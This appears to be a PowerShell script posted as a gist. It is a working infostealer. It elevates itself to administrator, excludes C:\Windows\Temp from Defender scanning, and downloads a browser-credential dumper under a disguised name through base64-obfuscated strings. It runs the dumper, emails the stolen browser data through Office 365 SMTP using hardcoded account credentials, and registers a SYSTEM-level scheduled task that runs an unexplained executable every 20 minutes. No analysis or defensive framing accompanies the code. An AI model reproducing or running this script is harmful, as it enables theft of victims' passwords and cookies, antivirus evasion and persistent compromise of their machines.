First Gist

gistfile1.ps1

if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; exit }
Start-Process $PSHOME\powershell.exe -ArgumentList {powershell Add-MpPreference -ExclusionPath C:\Windows\Temp

$u = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0ZsYW5ndmlrL1NoYXJwQ29sbGVjdGlvbi9yYXcvbWFzdGVyL05ldEZyYW1ld29ya180LjdfQW55L1NoYXJwQ2hyb21pdW0uZXhl"))
$o = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Qzpcd2luZG93c1xUZW1wXGdhcmJhZ2ViaW5zLmV4ZQ=="))
iwr $u -usebasicparsing -outfile $o

$l = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YWxs"))
[array] $frz = C:\windows\Temp\garbagebins.exe $l 

$f = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("b3ZlcmxvcmQyMjEyQG91dGxvb2suY29t"))
$t = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("b3ZlcmxvcmQyMjEyQG91dGxvb2suY29t"))
$p = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("a3hTUlA1M0ptYjhuWFI="))
$poky = $f;
$juke = $p;

function Send-ToEmail([string]$moke, [string]$attachmentpath){

    $message = new-object Net.Mail.MailMessage;
    $message.From = $f;
    $message.To.Add($moke);
    $message.Subject = "...";
    $message.Body = $frz;
    $smtp = new-object Net.Mail.SmtpClient("smtp.office365.com", "587");
    $smtp.EnableSSL = $true;
    $smtp.Credentials = New-Object System.Net.NetworkCredential($poky, $juke);
    $smtp.send($message);
 }
Send-ToEmail  -moke $t -attachmentpath $path;} -WindowStyle Hidden

$taskAction = New-ScheduledTaskAction -Execute "C:\Users\Public\WinPi.exe"; $taskTrigger = New-ScheduledTaskTrigger -Daily -At (Get-Date).Date -RepetitionInterval (New-TimeSpan -Minutes 20) -RepetitionDuration ([System.TimeSpan]::MaxValue); $taskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -RunOnlyIfIdle -RestartInterval (New-TimeSpan -Minutes 1) -ExecutionTimeLimit (New-TimeSpan -Minutes 15); Register-ScheduledTask -TaskName "YourTaskName" -Action $taskAction -Trigger $taskTrigger -Settings $taskSettings -User "System" -RunLevel Highest -Force